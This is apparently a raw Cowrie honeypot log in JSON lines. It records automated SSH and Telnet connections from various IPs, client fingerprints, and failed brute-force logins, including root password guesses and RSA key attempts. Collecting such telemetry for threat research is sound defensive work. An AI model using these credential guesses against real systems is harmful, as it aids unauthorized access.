{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":36170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8cc68203da7","protocol":"ssh","message":"New connection: 43.173.84.253:36170 (159.203.135.109:22) [session: b8cc68203da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:16.203099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:16.210213Z","src_ip":"43.173.84.253","session":"b8cc68203da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:16.309629Z","src_ip":"43.173.84.253","session":"b8cc68203da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot-user","password":"123","message":"login attempt [bot-user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:16.572237Z","src_ip":"43.173.84.253","session":"b8cc68203da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:17.643490Z","src_ip":"43.173.84.253","session":"b8cc68203da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":44510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9080854c1aba","protocol":"ssh","message":"New connection: 45.137.172.116:44510 (10.17.0.5:22) [session: 9080854c1aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:26.953172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:26.958739Z","src_ip":"45.137.172.116","session":"9080854c1aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:27.060238Z","src_ip":"45.137.172.116","session":"9080854c1aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zcl","message":"login attempt [root/zcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:27.493804Z","src_ip":"45.137.172.116","session":"9080854c1aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":58960,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d47969f2a0","protocol":"ssh","message":"New connection: 43.135.177.217:58960 (10.17.0.5:22) [session: 20d47969f2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.037258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.042144Z","src_ip":"43.135.177.217","session":"20d47969f2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.114252Z","src_ip":"43.135.177.217","session":"20d47969f2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r?","message":"login attempt [root/1q2w3e4r?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.423091Z","src_ip":"43.135.177.217","session":"20d47969f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.597499Z","src_ip":"45.137.172.116","session":"9080854c1aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":52858,"dst_ip":"10.17.0.5","dst_port":22,"session":"c994b9825bb1","protocol":"ssh","message":"New connection: 128.201.9.152:52858 (10.17.0.5:22) [session: c994b9825bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.762719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.767256Z","src_ip":"128.201.9.152","session":"c994b9825bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:28.892609Z","src_ip":"128.201.9.152","session":"c994b9825bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmodserver4","message":"login attempt [root/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:29.427579Z","src_ip":"128.201.9.152","session":"c994b9825bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:29.498751Z","src_ip":"43.135.177.217","session":"20d47969f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:30.556197Z","src_ip":"128.201.9.152","session":"c994b9825bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3acf0386196","protocol":"telnet","message":"New connection: 152.42.224.71:43274 (10.17.0.5:23) [session: d3acf0386196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:32.599679Z"}
{"eventid":"cowrie.session.closed","duration":48.41625618934631,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:34.953676Z","src_ip":"152.42.224.71","session":"8c6ea5d7fa98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":60464,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ca4be8acae","protocol":"ssh","message":"New connection: 68.235.52.99:60464 (10.17.0.5:22) [session: 26ca4be8acae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.334230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.342861Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.374261Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:dd:03:6a:4d:3f:e1:52:a4:27:01:5c:dc:a1:0f:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9yGiNN1oGmRUXhnjw2++QR9cWtq0ML6sMHls11L7ummfTMCpwfciBL5/l1f1Jk3g7fA0yaIa3TmrLXocObuROnveRxnY4uwkqWf1ujO3lDPJuf73aVU17GFFul0haOKYP7aQ6VQUZOAE9XmVNnt97wvIAd5nul7lATTiW3y94e/7kRUgppmtTTVLHggWO1VCcs6LSqMrqqmjuPhJIDzsSibjrab4i1s+rb0W6hl3B0JdILdMIbUKSwsl3zG1PNfDx9m8pX9N1yUfnnrUU3Pj+wYH5jwyuZ2dVM5a+1SCH55Rf4mO4cVFio73ojznT8pyD30IeQPeBS7P5Xx9a+801","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:dd:03:6a:4d:3f:e1:52:a4:27:01:5c:dc:a1:0f:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.504791Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:dd:03:6a:4d:3f:e1:52:a4:27:01:5c:dc:a1:0f:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9yGiNN1oGmRUXhnjw2++QR9cWtq0ML6sMHls11L7ummfTMCpwfciBL5/l1f1Jk3g7fA0yaIa3TmrLXocObuROnveRxnY4uwkqWf1ujO3lDPJuf73aVU17GFFul0haOKYP7aQ6VQUZOAE9XmVNnt97wvIAd5nul7lATTiW3y94e/7kRUgppmtTTVLHggWO1VCcs6LSqMrqqmjuPhJIDzsSibjrab4i1s+rb0W6hl3B0JdILdMIbUKSwsl3zG1PNfDx9m8pX9N1yUfnnrUU3Pj+wYH5jwyuZ2dVM5a+1SCH55Rf4mO4cVFio73ojznT8pyD30IeQPeBS7P5Xx9a+801","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.508803Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:49:4c:74:d7:a4:4d:93:fa:bd:9f:09:68:54:d1:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9ETDqPUhvoU1ygxNccstmUy0wDfKvRMU1BbWwdk7itKhoCcEtPoWSMr6lnlq9K87bBGjd9iIX0RuttV5I21W1xP34N7avk0vUJLuFW2rE4gEqTgX8rL94/12r8cIlV6EeeQnqDshpzWSRZSbZQL1SNL+lGyTOsjvmBIqKykeQBQ+BMWPChtDICz2YZ+SdDxjPN/DTxsECxPcBKRXFOeX39RfSYUSCCGBeStop26VIuNCgR0iBrAXWh4N+ZCcZsL+GZqWALiPpjUumDqQIfqigpfdawSSAfbKR8BoPaIoTaEtqPzvFV4zEZ8u7AzKsYlV35Jc/5tMLwQMCS3428fqT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:49:4c:74:d7:a4:4d:93:fa:bd:9f:09:68:54:d1:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.539945Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:49:4c:74:d7:a4:4d:93:fa:bd:9f:09:68:54:d1:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9ETDqPUhvoU1ygxNccstmUy0wDfKvRMU1BbWwdk7itKhoCcEtPoWSMr6lnlq9K87bBGjd9iIX0RuttV5I21W1xP34N7avk0vUJLuFW2rE4gEqTgX8rL94/12r8cIlV6EeeQnqDshpzWSRZSbZQL1SNL+lGyTOsjvmBIqKykeQBQ+BMWPChtDICz2YZ+SdDxjPN/DTxsECxPcBKRXFOeX39RfSYUSCCGBeStop26VIuNCgR0iBrAXWh4N+ZCcZsL+GZqWALiPpjUumDqQIfqigpfdawSSAfbKR8BoPaIoTaEtqPzvFV4zEZ8u7AzKsYlV35Jc/5tMLwQMCS3428fqT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.544568Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:ca:3c:26:34:10:45:ae:29:92:1b:f6:f3:3d:e6:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXO5T16wLZJpfCZfXNjuAtHVqNP08SOOqYAdoFOUskNfDbn8Oa/AVqgdOqxh8HWV2O0YWHXHtveksiypYJoQffFNP0smcBS6XzMaR32YzT55MHKs2DiABJEQzsHOUJ9d0mXaBv+j8RxVhqAiNN76O9lufDlX8n+o+nTYR6FXGtTZOJEhjGS5ZlbLLpwFnHeXO6RVPXgNdDtJg6GW1QUWr7PzHK9avGeodHlZ7QBZU4je5qYUPHKv2+Os+9sGNkwO8NP53BoV/wu/f5aab0dM1M0yE3skSgmR3aLm5O6YN1un2xVioQrjfNJI2u1z829xeYvUWRU1i5iJKVHIdgK1Bv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:ca:3c:26:34:10:45:ae:29:92:1b:f6:f3:3d:e6:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.576008Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:ca:3c:26:34:10:45:ae:29:92:1b:f6:f3:3d:e6:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXO5T16wLZJpfCZfXNjuAtHVqNP08SOOqYAdoFOUskNfDbn8Oa/AVqgdOqxh8HWV2O0YWHXHtveksiypYJoQffFNP0smcBS6XzMaR32YzT55MHKs2DiABJEQzsHOUJ9d0mXaBv+j8RxVhqAiNN76O9lufDlX8n+o+nTYR6FXGtTZOJEhjGS5ZlbLLpwFnHeXO6RVPXgNdDtJg6GW1QUWr7PzHK9avGeodHlZ7QBZU4je5qYUPHKv2+Os+9sGNkwO8NP53BoV/wu/f5aab0dM1M0yE3skSgmR3aLm5O6YN1un2xVioQrjfNJI2u1z829xeYvUWRU1i5iJKVHIdgK1Bv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.588883Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:cc:bf:1c:dd:7e:25:70:58:1f:9f:49:b9:f2:4e:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcDD30x6sncmFiKYa+ZLYKF90xkpvE8sAl2O7caNhizdpWPkm8godXMa0mLkwlYEFscIt8ZEIgLeyntm8U4AW8EVzB2zjJTFkfsWlHNw1Fu7jV7w6nXxY1MO+tOoadnyKj6PyMlXXttgwsu1di5wHCKfDd+nbuTnVRDXwpL0K5ZsO6Vyst86GsWPWnSnOJaFlRvvIvi36YLrBW7rO+SoFaSH1XJp++zi/WeX9iX5z6Im2IAjfIhDaRIOU6z3rn4nHtwTsD3IgpGyqEYHIGmtCpUP9POhnvz4veqg7ICfd2FyjoRJQ4nD7MvhzLm8APZ3u1xvGRf41LeGNtiooiwQF2L5c+WtrUWQwydVKUdxdn1Zzd4fRznDp2y9oRF+izdlb71yNkjrf0BLyynU0A3167pR9yOk7N3X56DeCkzY7rH8ZWSBnEumgl/BTwcama9wD+uO72CjxDa8PTvg3HkmFHANEJtJOeNSUwyaSq40mVAuVydTeZZb/WDUP8gzTni1MYcERpbemqAKZo666IIaPEFiAZUoGcrES8P5lNTQDYNqU6gxQUxqf/pDXiQ08rAtJgdBK/HgBggHj51bqLaUzrYoLxhuy4cK9HOAfWtFYd4qNps5U6Un5wo7OZIQWM6gvvZlDRuWsG/GvZAAnmWTsCTxK2cV1XP/DhTkL5JDDXKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:cc:bf:1c:dd:7e:25:70:58:1f:9f:49:b9:f2:4e:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.620008Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:cc:bf:1c:dd:7e:25:70:58:1f:9f:49:b9:f2:4e:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcDD30x6sncmFiKYa+ZLYKF90xkpvE8sAl2O7caNhizdpWPkm8godXMa0mLkwlYEFscIt8ZEIgLeyntm8U4AW8EVzB2zjJTFkfsWlHNw1Fu7jV7w6nXxY1MO+tOoadnyKj6PyMlXXttgwsu1di5wHCKfDd+nbuTnVRDXwpL0K5ZsO6Vyst86GsWPWnSnOJaFlRvvIvi36YLrBW7rO+SoFaSH1XJp++zi/WeX9iX5z6Im2IAjfIhDaRIOU6z3rn4nHtwTsD3IgpGyqEYHIGmtCpUP9POhnvz4veqg7ICfd2FyjoRJQ4nD7MvhzLm8APZ3u1xvGRf41LeGNtiooiwQF2L5c+WtrUWQwydVKUdxdn1Zzd4fRznDp2y9oRF+izdlb71yNkjrf0BLyynU0A3167pR9yOk7N3X56DeCkzY7rH8ZWSBnEumgl/BTwcama9wD+uO72CjxDa8PTvg3HkmFHANEJtJOeNSUwyaSq40mVAuVydTeZZb/WDUP8gzTni1MYcERpbemqAKZo666IIaPEFiAZUoGcrES8P5lNTQDYNqU6gxQUxqf/pDXiQ08rAtJgdBK/HgBggHj51bqLaUzrYoLxhuy4cK9HOAfWtFYd4qNps5U6Un5wo7OZIQWM6gvvZlDRuWsG/GvZAAnmWTsCTxK2cV1XP/DhTkL5JDDXKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.623523Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
